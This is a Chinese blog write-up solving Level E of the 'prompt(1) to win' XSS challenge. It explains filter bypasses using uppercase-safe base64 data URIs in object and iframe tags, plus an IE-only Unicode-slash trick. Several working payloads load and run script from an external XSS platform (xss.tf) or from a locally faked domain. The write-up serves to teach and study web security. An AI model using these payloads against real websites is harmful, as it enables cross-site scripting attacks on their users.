【prompt(1) to win】 Level E - Base64



题目

function escape(input) {
    // I expect this one will have other solutions, so be creative :)
    // mspaint makes all file names in all-caps :(
    // too lazy to convert them back in lower case
    // sample input: prompt.jpg => PROMPT.JPG
    input = input.toUpperCase();
    // only allows images loaded from own host or data URI scheme
    input = input.replace(/\/\/|\w+:/g, 'data:');
    // miscellaneous filtering
    input = input.replace(/[\\&+%\s]|vbs/gi, '_');

    return '<img src="' + input + '">';
}

解题方法一(Base64)

前置知识

代码分析

因为最后输出是 <img src="' + input + '"> ,不妨构造 input 探针 0" onerror=prompt(1) 看看效果:

虽然可以闭合双引号 " ,但是空字符 \s 被过滤成了下划线 _ ,而且所有字符被转换成了大写,所以直接注入是不可能的。

其实代码虽然过滤了很多字符,但唯独把 Data URIs 要用到的字符留下了。

而且 input.replace(/\/\/|\w+:/g, 'data:') 这行明显就是提示。

因此不难想到,这题应该是要用 Data URIs 解题,而 payload 应该就是要用 Base64 编码到 Data URIs 中。


Data URIs

不过 Data URIs 被浏览器严格限制,导致在 HTML 标签中,能够使用 Data URIs 的标签极其有限。

已知的只有 4 个:

  • <img> 标签的 src 属性
  • <object> 标签的 data 属性
  • <iframe> 标签的 src 属性
  • <a> 标签的 href 属性

但是 <img> 标签只能解析图片数据,即使在 Data URIs 中注入 JS 代码也是无法执行的。

而本题默认使用的正是 <img> 标签,所以我们需将其闭合,然后用别的标签代替。


构造探针

不妨先用 <object> 标签构造一个探针看看效果,格式为:

<!-- 注意:因为空格被过滤成了下划线,所以 object 与 data 之间的空格要用 / 代替 -->
"><object/data="data:text/html;base64,base64_encode(xss js code)

其中 base64_encode(xss js code) 就是我们要注入的 js 代码,但是需经过 base64 编码。

假如要注入的 JS 是 <script>prompt(1)</script>

将其用 base64 编码后为 PHNjcmlwdD5wcm9tcHQoMSk8L3NjcmlwdD4= , 于是得到探针:

"><object/data="data:text/html;base64,PHNjcmlwdD5wcm9tcHQoMSk8L3NjcmlwdD4=

不过从输出效果来看,我们构造的内容,除了 data: 之外,全部都变成了大写字母:

<img src=""><OBJECT/DATA="data:TEXT/HTML;BASE64,PHNJCMLWDD5WCM9TCHQOMSK8L3NJCMLWDD4=">


选择浏览器

对于这部分代码,因为被转换成了大写,需要知道哪部分还有效,哪部分已经失效,失效了怎么处理。

<OBJECT/DATA="data:TEXT/HTML;BASE64,PHNJCMLWDD5WCM9TCHQOMSK8L3NJCMLWDD4=">
  • OBJECT/DATA :这部分变大写是没关系的,标签名和属性名对大小写不敏感
  • TEXT/HTML;BASE64 :这部分变大写会令到 Data URIs 失效(除了 FireFox 浏览器,其他浏览器都不能识别)
  • PHNJCMLWDD5WCM9TCHQOMSK8L3NJCMLWDD4= : Base64 编码是大小写敏感的,全大写就无法解码了

先不管 Base64 编码变成大写的问题,手工将其改回去 PHNjcmlwdD5wcm9tcHQoMSk8L3NjcmlwdD4=

然后用 Chrome 浏览器打开,TEXT/HTML;BASE64 变大写了确实是无法解析的:

但是用 FireFox 浏览器则可以解析并执行了 JS 代码:

由此决定了,这个挑战只能通过 FireFox 浏览器去做


Base64 编码原理

剩下的问题是,怎么令到被转换成全大写的 Base64 编码,可以被解码成原本的 JS 代码 ?

其实答案也很简单:

构造一个 JS 代码,其功能是实现 prompt(1) 执行,且经过 Base64 编码后,是全大写字母。


严格来说,其实不需要全大写, Base64 编码的字符范围是 a-zA-Z0-9/+=

而在本题中,只有 a-z (被转换成 A-Z )和 + (被转换成 _ )是不能用的。

那么我们只需要所构造的 JS 代码经过 Base64 编码后只含有 A-Z0-9/= 范围内内的字符,就可以令题目中把 Base64 编码转换成大写的逻辑就没有任何作用了。


而要构造这么一个 Base64 编码,就需要先了解其编码原理。

详细可以参看这篇文章 《Base64编码原理》 ,说得很清楚。

大致意思就是:Base64 编码的时候,被编码的字符串会顺序以每 3 个字符为一组,每一组根据固定的映射表编码成 4 个字符。换言之,连续的 3 个字符直接影响了这个局部区域编码后的结果,相隔太远的字符是无法对这个区域造成干涉的。

那么要构造一个编码后不存在 a-z+ 的 JS 字符串是完全有可能的。


构造 Base64 编码

这部分就需要漫长的耐心了去试错了(有兴趣的同学可以根据 Base64 编码原理自己写算法实现),我用了几个小时构造了 2 个满足条件的 JS 代码。

这两个 JS 代码会执行 prompt(1) 功能,Base64 编码后不存在 a-z+ 字符。

先来看看这两个 JS 是什么样的,再分析。


第一个 JS 代码是这样的(注意一个空格、一个换行都不能错):

  <SCRIPT /
SRC  
= 

HTTPS:XSS%2E%54%46/TOH>
</SCRIPT
 >

Base64 编码后是:

ICA8U0NSSVBUIC8KU1JDICAKPSAKICAKSFRUUFM6WFNTJTJFJTU0JTQ2L1RPSD4KPC9TQ1JJUFQKID4=


第二个 JS 代码是这样的(注意一个空格、一个换行都不能错):

  <SCRIPT /
SRC  
= 

HTTPS:E.XP>
</SCRIPT
 >

Base64 编码后是:

ICA8U0NSSVBUIC8KU1JDICAKPSAKICAKSFRUUFM6RS5YUD4KPC9TQ1JJUFQKID4=


首先无论是哪个 JS 代码,我都没有直接对 prompt 编码,原因很简单,这个 JS 函数不但长度超过了 3 个字符,而且它单独编码后含有小写字母。根据 Base64 编码原理可以知道,编码是每 3 个字符为一组的,这 3 个字符直接决定了局部区域的编码结果。而连续 6 个字符,即使在前面或后面追加其他字符进行错位,始终无法控制中间字符的组合方式。而 prompt 作为 JS 函数关键字,是不可能从中间破开或者做大小写变换的,不然即使成功构造了无小写字母的 Base64 编码,解码后也无法执行。

所以我构造的这两个 JS 代码,都借助了 XSS 平台,通过 URL 调用 XSS 平台的 JS 代码,从而实现 prompt(1) 的调用。

区别在于,第一个 JS 代码使用的是第三方的 XSS 平台,因为域名、URL 是第三方控制的,所以要使得 URL 在 Base64 编码后能满足条件,就需要运气,主要依赖第三方平台分配了怎样的一个 URL 字符串。

而第二个 JS 则是我在本地搭建的 HTTP 服务器,域名、URL 等等都是我在本地虚构的,换言之我只需要先构造满足条件的 Base64 编码,再反过来配置域名和 URL 就可以了,简单而有效。

接下来就说明一下这两种 JS 代码的构造方法。


利用 XSS 平台完成挑战

我使用的 XSS 平台是 http://xss.tf ,不图什么,只图域名够短,用来构造 Base64 编码时会更简单。

随便创建一个项目,项目代码自定义为 prompt(1) 即可。

因为 XSS 平台分配的 URL 都是随机的,所以关键在于分配给我的 URL 能不能用来构造成不含 a-z+ 字符的 Base64 编码。

假如不能,则只能重新创建一个项目以获取另一个 URL 。

很幸运地,我试到第 3 次,就得到了 http://xss.tf/tOH 这个 URL :

利用这个 URL ,我不断通过各种试错组合,得到了前面的第一个 JS 代码:

  <SCRIPT /
SRC  
= 

HTTPS:XSS%2E%54%46/TOH>
</SCRIPT
 >

在试错的时候,我总结了几个技巧,不妨给大家借鉴一下:

  • 推荐使用 Burp Suite 的 Decoder 编码器,可以即时看到 Base64 编码效果
  • 这个 XSS 平台 http://xss.tf 会自动把 https 的请求转发到 http ,因此使用 http 或 https 都是可以的
  • JS 中的标签名、属性名等不能用空字符破开
  • URL 是大小写不敏感的,但不能使用空字符破开
  • HTTPS: 在恰当的位置上得到的 Base64 编码是全大写的
  • HTTPS: 后面可以不带 //
  • HTTPS: 后面的 URL 部分可以使用 URL 编码,当单纯的字母无法构造大写编码时,试试 %
  • URL 末尾可以利用参数符号 ? 进行错位
  • URL 开头可以利用 Basic Auth 进行错位 user:pass@(可参考 【Level 04 - Basic Auth】)
  • 大写字母 Base64 编码后更容易得到另一个大写字母
  • 被编码的的字符串越短越容易控制

无论如何,前面利用 XSS 平台构造的 JS 代码,经过Base64 编码后得到:

ICA8U0NSSVBUIC8KU1JDICAKPSAKICAKSFRUUFM6WFNTJTJFJTU0JTQ2L1RPSD4KPC9TQ1JJUFQKID4=

于是利用它构造 payload 如下,并在 FireFox 浏览器提交,完成挑战:

"><OBJECT/DATA="data:TEXT/HTML;BASE64,ICA8U0NSSVBUIC8KU1JDICAKPSAKICAKSFRUUFM6WFNTJTJFJTU0JTQ2L1RPSD4KPC9TQ1JJUFQKID4=

注意:这题确实是有 BUG 的,虽然可以触发 prompt(1) ,但是却不会成功检测到


利用本地 HTTP 服务器完成挑战

利用 XSS 完成挑战后,我又在想,感觉依赖第三方随机分配的域名才能完成挑战,实在太投机了,有没有办法我自己去控制域名,掌握主导权 ?

答案是肯定的。

其实从 http://prompt.ml/ 某些题目依赖本地浏览器类型才能完成挑战就知道,它校验 payload 是否正确是在本地做的,即它不会把我们构造的 payload 上传到远程服务器进行认证。

换言之,当我们使用 XSS 平台来完成某些挑战的时候,向 XSS 平台发起请求的不是 http://prompt.ml/ 服务器,而是我们本地的浏览器。

也就是说,只要我们本地浏览器可以访问到的服务器,都可以作为 XSS 服务器 —— 例如:我们在本地搭建一个 HTTP 服务器,让它只返回 prompt(1)

本地搭建 HTTP 服务器用来做 XSS 服务器的好处是,我们几乎不用怎么担心 URL 能不能构造成全大写字母的 Base64 编码的问题,因为这个 URL (或者说这个域名)完全是可以在本地伪造的。只需要先设计一个字符串,使得它在 Base64 编码后是全大写字母,然后将它设置成域名就可以了。

多说无益,接下来来看看怎么做。


搭建 HTTP 服务器可以使用 Apache Httpd , Windows 下无脑安装即可。

安装完成后,先不忙着搭建服务器。

先构造 XSS 代码,其实就是前面提到的第二个 JS 代码:

  <SCRIPT /
SRC  
= 

HTTPS:E.XP>
</SCRIPT
 >

这个 JS 代码在 Base64 编码后不含 a-z+ ,满足要求:

ICA8U0NSSVBUIC8KU1JDICAKPSAKICAKSFRUUFM6RS5YUD4KPC9TQ1JJUFQKID4=

那么现在要做的,就是把 JS 代码中构造的 URL HTTPS:E.XP 变成可以真正访问的域名。

在 HTTP 中,这个域名地址等价于 https://e.xp

Apache Httpd 默认情况下是通过 http://127.0.0.1:80 访问主页的,要使得它可以访问 https://e.xp ,修改两处即可:

  • 修改 %ApacheHttpd%/conf/extra/httpd-vhosts.conf 文件,修改 <VirtualHost> 中的服务名为 ServerName E.XP:80
  • 修改 C:\Windows\System32\drivers\etc\hosts 文件,增加一行 127.0.0.1 E.XP (相当于伪造 DNS)

完成这两处修改,启动 Apache Httpd 服务,就可以在本地访问 https://e.xp 了。

注:虽然没有搭建 https 服务器,但这种情况下,https 的流量都默认会转发回 http,只是会提示不安全而已。有时间的同学可以在本地对自己的 http 服务做自签名认证,就可以伪造 https 服务器了。

但是这样改仅仅能访问主页而已,主页是不会触发 prompt(1) 的,为此还需要改两处地方:

  • %ApacheHttpd%/htdocs 目录下(即WEB目录)新建文件 index.js ,内容为 prompt(1)
  • 修改 %ApacheHttpd%/conf/httpd.conf 文件,在 DirectoryIndex 后添加 index.js

这样只要访问 https://e.xp 就会自动跳到 index.js 页面,然后触发 prompt(1)


至此,搭建本地 XSS 服务器完成,访问 https://e.xp 就可以看到效果,跟使用 XSS 平台一样:

利用本地域名 https://e.xp 的 Base64 编码构造 payload 如下,并在 FireFox 浏览器提交,完成挑战:

"><OBJECT/DATA="data:TEXT/HTML;BASE64,ICA8U0NSSVBUIC8KU1JDICAKPSAKICAKSFRUUFM6RS5YUD4KPC9TQ1JJUFQKID4=


其他 payload

如果大家还没忘记的话,我在最开始就提到,Data URIs 可用的 HTML 标签有 4 个:

  • <img> 标签的 src 属性
  • <object> 标签的 data 属性
  • <iframe> 标签的 src 属性
  • <a> 标签的 href 属性

其中 <img> 标签是无法用来触发 JS 的,而 <object> 标签前面已经用过了。

实际上 <iframe> 标签也是可以完成挑战的,例如这两个 payload 均可:

"><IFRAME/SRC="data:TEXT/HTML;BASE64,ICA8U0NSSVBUIC8KU1JDICAKPSAKICAKSFRUUFM6WFNTJTJFJTU0JTQ2L1RPSD4KPC9TQ1JJUFQKID4=
"><IFRAME/SRC="data:TEXT/HTML;BASE64,ICA8U0NSSVBUIC8KU1JDICAKPSAKICAKSFRUUFM6RS5YUD4KPC9TQ1JJUFQKID4=


<a> 标签原本也是可以触发 JS 的,不妨构造这样的 payload 测试下:

"><A/HREF="data:TEXT/HTML;BASE64,ICA8U0NSSVBUIC8KU1JDICAKPSAKICAKSFRUUFM6WFNTJTJFJTU0JTQ2L1RPSD4KPC9TQ1JJUFQKID4=">link</A><IMG/SRC="

但是 http://prompt.ml/ 似乎跟按钮有仇,死活不让点击超链。

不过即使能点击也没用,现代的浏览器为了避免 <a> 标签的 Data URIs 被用于跨站攻击,默认都是拦截掉请求了:


解题方法二(Unicode)

前置知识


黑魔法:MSIE

这种解题方法只能在 MSIE(Microsoft IE)中使用,而且版本要求是 IE 10 以上。

关键在于使用 Unicode 编码绕过题目的 // 过滤,在 IE 10 中,第二个正斜杠是允许使用 Unicode 的 代替的。

注: 其实就是中文的笔画符号【撇】,编码是 U+3033

利用前面已经在 XSS 平台构造好的项目地址(http://xss.tf/tOH),构造 payload 如下:

"><script/src="/〳xss.tf/tOH

注意到除了利用 Unicode 编码绕过 // 过滤,还通过隐去 http: 绕过了 \w: 过滤。

之所以可以隐去 http: ,是因为在 html 的 src 属性中可以使用 相对协议地址 原理:此时前端获取资源时会根据所访问 URL 的协议而自适应(即自动识别 http 或 https)。

但是这个 payload 因为引用的是外部资源,所以虽然我们在 XSS 平台 http://xss.tf/tOH 构造好了 prompt(1) ,但是它并不会被执行。

为此可以修改 payload 为:

"><script/async/src="/〳xss.tf/tOH

看到加了 async 属性,其效果是一旦 src 引用的脚本资源可用,就会异步执行。

在 IE 10 或 IE 11 上输入这个 payload ,完成挑战:


答案下载


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
  目录